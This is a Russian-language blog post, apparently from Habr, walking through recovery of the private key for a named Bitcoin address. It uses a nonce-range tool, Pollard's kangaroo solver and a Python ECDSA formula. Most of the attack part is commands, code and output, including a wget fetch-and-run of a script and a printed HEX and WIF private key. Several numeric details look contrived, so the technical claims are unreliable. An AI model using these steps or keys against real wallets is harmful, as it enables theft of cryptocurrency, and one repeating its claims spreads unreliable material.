![](https://habrastorage.org/getpro/habr/upload_files/3eb/2d8/a34/3eb2d8a3466f23accf2bb3c9c66527bb.png)
В этой статье мы рассмотрим самый быстрый алгоритм для ECDLP из области вычислительной теории чисел, кенгуру Полларда также называют алгоритм лямбды Полларда.
Метод кенгуру Полларда вычисляет дискретные логарифмы в произвольных циклических группах. Он применяется, если известно, что дискретный логарифм лежит в определенном диапазоне, скажем [ a , b ]
, а затем имеет ожидаемое время выполнения групповой операции.
Преимущество Pollard's Kangaroo:
использует очень мало памяти
можно распараллелить с линейным ускорением
можно эффективно отслеживать требования к объему памяти
Все это делает метод кенгуру самым мощным методом решения задачи дискретного логарифмирования.
Один из способов сломать схемы подписи ECDSA — это решить проблему дискретного логарифмирования.
В настройках ECDSA
алгоритмы субэкспоненциального времени, такие как метод индексного исчисления, не применяются, а лучшим известным на сегодняшний день методом решения лежащем в их основе DLP
являются метод кенгуру Полларда. Мы постараемся не нагружать вас с различными теоретическими аспектами. Перейдем сразу к экспериментальной части.
Как мы знаем в блокчейне Биткоина отправитель монет BTC всегда раскрывает свой публичный ключ.
Для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R
( значение R
- это тоже своего рода публичный ключ от Nonces
т.к. это точка координата x
на плоскости эллиптической кривой secp256k1
)
Остается только определить диапазон
PRIVATE KEY
или диапазонNONCES
.
Случается такое что некоторые устройства которые создают подписиECDSA
в блокчейне Биткоина могут частично раскрывать байты информации о значение "K" (NONCES)
Мы считаем что это потенциальная угроза потери монет BTC и настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
В недалеком прошлом мы провели криптоанализ в блокчейне Биткоина и нашли несколько таких транзакции.
Итак, взгляните на этот Биткоин Адрес на сумму вывода монет 501.06516041 BTC
![](https://habrastorage.org/getpro/habr/upload_files/3d9/756/d50/3d9756d50d09b0584c5967175184dd42.png)
В транзакциях этого Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE была частичная раскрываемость байтов информации о значение "K" (NONCES)
Как мы знаем из прошлой нашей статьи
![habr.com/ru/post/671932/ habr.com/ru/post/671932/](https://habrastorage.org/getpro/habr/upload_files/2f6/78f/d0f/2f678fd0faefca8c25518666490d795f.png)
Поиск диапазона секретного ключа
Давайте найдем эту транзакцию и с помощью метода кенгуру Полларда восстановим секретный ключ
Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»
Откроем в терминале Google Colab [TerminalGoogleColab]
Для поиска RawTX воспользуемся репозиторием «01BlockchainGoogleDrive»
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/01BlockchainGoogleDrive/
chmod +x getrawtx.sh
./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
![Запуск Bash-скрипта: getrawtx.sh Запуск Bash-скрипта: getrawtx.sh](https://habrastorage.org/getpro/habr/upload_files/496/30f/b12/49630fb12d6c1cf64f99f24f530add95.png)
Всё содержимые транзакции Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE сохранилось в файл: RawTX.json
Открываем файл: RawTX.json
и находим эту транзакцию [строка №10]
![](https://habrastorage.org/getpro/habr/upload_files/2c1/dca/207/2c1dca20782c1e09325836c491aeaaf0.png)
Воспользуемся командой export
и сохраним эту строку №10
из RawTX.json
отдельно в RawTX.txt
export LINE=10 ; sed -n "${LINE}p" RawTX.json > RawTX.txt
![](https://habrastorage.org/getpro/habr/upload_files/b8b/0c2/508/b8b0c25080dfe2ad36c112e2f0015e72.png)
cat RawTX.txt
![](https://habrastorage.org/getpro/habr/upload_files/b1a/a44/976/b1aa44976ad24df74e02246a8747db31.png)
Узнаем TxID
откроем сайт Decode Raw Bitcoin Hexadecimal Transaction и вставим наш RawTX
В результате мы получаем TxID
![](https://habrastorage.org/getpro/habr/upload_files/166/292/2df/1662922df068e4d009f0efcbecc2089d.png)
В результате мы получаем TxID
![TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b](https://habrastorage.org/getpro/habr/upload_files/cc2/bf5/146/cc2bf5146ef7a2e6004d79986535255d.png)
Открываем по ссылке TxID:
https://btc.exan.tech/tx/b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b
![](https://habrastorage.org/getpro/habr/upload_files/c32/5a8/e40/c325a8e40de9ca6f15431dac1dcfe274.png)
![Проверяем RawTX Проверяем RawTX](https://habrastorage.org/getpro/habr/upload_files/3b2/8d1/648/3b28d1648bf0cf157833dbc3b0821fd8.png)
Теперь узнаем частичную раскрываемость байтов информации о значение "K" (NONCES)
Для этого мы воспользуемся скриптом «RangeNonce»
«RangeNonce»
- это скрипт по поиску диапазона секретного ключа
Выберем версию для дистрибутива GNU/Linux
т.к. Google Colab
предоставляет UBUNTU 18.04
![RangeNonce RangeNonce](https://habrastorage.org/getpro/habr/upload_files/94d/d82/af4/94dd82af4d7155e548aa7241df9b3206.png)
Загрузим все файлы в Google Colab
![RangeNonce + Google Colab RangeNonce + Google Colab](https://habrastorage.org/getpro/habr/upload_files/751/91d/9a2/75191d9a233987a74ed0fa016aa5e2a1.png)
Разрешим права доступа для скрипта и запустим скрипт «RangeNonce»
Команды:
chmod +x RangeNonce
./RangeNonce
cat Result.txt
![](https://habrastorage.org/getpro/habr/upload_files/8ff/546/0c3/8ff5460c3570ebbbb3c7fb0f6a394fd9.png)
Все сохранится в файл: Result.txt
![Result.txt Result.txt](https://habrastorage.org/getpro/habr/upload_files/2af/471/f7e/2af471f7eb46f84157b402ed67ea9139.png)
Это и есть частичная раскрываемость байтов информации значение "K" (NONCES)
Итак, наш секретный ключ находится в диапазоне:
K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff
![](https://habrastorage.org/getpro/habr/upload_files/204/ef7/984/204ef79845ae3d93a9c93d43f81e484b.png)
Обратите внимание, на первоначальные
32
цифр и буквHEX
формата значение сигнатурыZ
совпадает с диапазоном секретного ключа то есть значение"K" (NONCES)
Это очень серьезная ошибка подписи ECDSA
Как мы говорили выше для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R
( значение R
- это тоже своего рода публичный ключ от Nonces
т.к. это точка координата x
на плоскости эллиптической кривой secp256k1
)
Значение сигнатуры R
в нашем случае:
R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
Скрипт RangeNonce
добавил нужный нам префикс 02
создав сжатый публичный ключ
K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
Теперь у нас есть информация:
диапазон секретного ключа
сжатый публичный ключ
Воспользуемся исходным кодом для сборки программы Pollard's Kangaroo от французского разработчика Jean-Luc PONS
Обратите внимание, что вы можете самостоятельно сделать сборку на
CUDA
дляGPU
чтобы увеличить скорость расчетов
![](https://habrastorage.org/getpro/habr/upload_files/afc/280/ae8/afc280ae86d3febb27f1008e8927ae89.png)
Мы сделаем обычную сборку для CPU
Команды:
cd /
cd content/CryptoDeepTools/06KangarooJeanLucPons/
ls
![](https://habrastorage.org/getpro/habr/upload_files/394/ece/ecf/394eceecf11f26952a6fc87a10be2dbc.png)
sudo apt-get update
![](https://habrastorage.org/getpro/habr/upload_files/2bc/e90/cd5/2bce90cd55b48787511363f9976adbd6.png)
sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y
![](https://habrastorage.org/getpro/habr/upload_files/707/e19/0da/707e190da23fd6b83eead65bce771b5b.png)
После всех установок пакетов сделаем сборку запустив простую команду:
make
![](https://habrastorage.org/getpro/habr/upload_files/663/476/ae3/663476ae36f13e98d23f8ee3e879b545.png)
![](https://habrastorage.org/getpro/habr/upload_files/1ea/932/dd2/1ea932dd2bd751c24fa95821c6833523.png)
Сборка прошла успешно!
Проверим версию:
./kangaroo -v
![](https://habrastorage.org/getpro/habr/upload_files/76d/f52/532/76df5253202c44d068af867a812d11db.png)
Итак, мы создали версию «Kangaroo v2.2»
Чтобы продемонстрировать работоспособность «Kangaroo v2.2»
для CPU
приподнимем диапазон и сохраним все в файл: rangepubkey.txt
Открываем текстовый файл: rangepubkey.txt
![](https://habrastorage.org/getpro/habr/upload_files/8ac/477/f4c/8ac477f4c2423dc5ff4cce2407481540.png)
070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000
070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff
0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
Очистим терминал командой:
clear
Запустим «Kangaroo v2.2»
результат будет автоматический сохранен в файл: savenonce.txt
./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt
![](https://habrastorage.org/getpro/habr/upload_files/ae8/77a/6f4/ae877a6f49f7781d70cf6a986deea751.png)
![](https://habrastorage.org/getpro/habr/upload_files/5eb/0b2/2e3/5eb0b22e395bd62b5a577a37ba2bebef.png)
![](https://habrastorage.org/getpro/habr/upload_files/e2d/6a1/e3a/e2d6a1e3ab4cd4bb5be0c58eed1ca6f7.png)
Время поиска заняло 1 мин. 18 сек.
Результат в файле: savenonce.txt
![](https://habrastorage.org/getpro/habr/upload_files/76b/fb1/f4e/76bfb1f4e28f14cebba9b68c31e510ec.png)
Откроем файл: savenonce.txt
![](https://habrastorage.org/getpro/habr/upload_files/50d/1fd/7ae/50d1fd7aecc8ea69cdb12d8f73830d8b.png)
Мы получили секретный ключ это и есть значение "K" (NONCES)
Key# 0 [1S]Pub: 0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06
Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634
070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634
K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonce
K = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCES
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce
Закрытый ключ
Теперь зная значение "K" (NONCES)
мы восстановим закрытый ключ к Биткоин Адресу: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
Вернемся к началу, как мы помним скрипт «RangeNonce»
раскрыл нам информацию о диапазоне значение "K" (NONCES)
, а так же информацию SIGNATURES
![SIGNATURES SIGNATURES](https://habrastorage.org/getpro/habr/upload_files/d71/0d3/fa1/d710d3fa1cf97ab16e33f7f824c2fb87.png)
R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7
Получим закрытый ключ по формуле на Python-скрипт: calculate.py
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7
K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634
print (h((((S * K) - Z) * modinv(R,N)) % N))
Команды:
wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/02BreakECDSAcryptography/calculate.py
python3 calculate.py
![PRIVKEY = 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b PRIVKEY = 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b](https://habrastorage.org/getpro/habr/upload_files/803/1f1/189/8031f11893dbb7de1d90858ae8ba634a.png)
ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
WIF: 5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e
HEX: 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b
![Проверяем закрытый ключ на сайте bitaddress Проверяем закрытый ключ на сайте bitaddress](https://habrastorage.org/getpro/habr/upload_files/d8c/78d/8eb/d8c78d8eb14e5246b495e09f59631e44.png)
Закрытый ключ найден!
![www.blockchain.com/btc/address/14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE www.blockchain.com/btc/address/14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE](https://habrastorage.org/getpro/habr/upload_files/ed9/7da/c1d/ed97dac1dc07e2bce09fe0951d9f64de.png)
Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1
против слабых подписей ECDSA
в криптовалюте BITCOIN
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/UGUJyxOhBBQ
Источник: https://cryptodeep.ru/kangaroo
datacompboy
Господи боже мой, переводчик изнасиловал учёного ????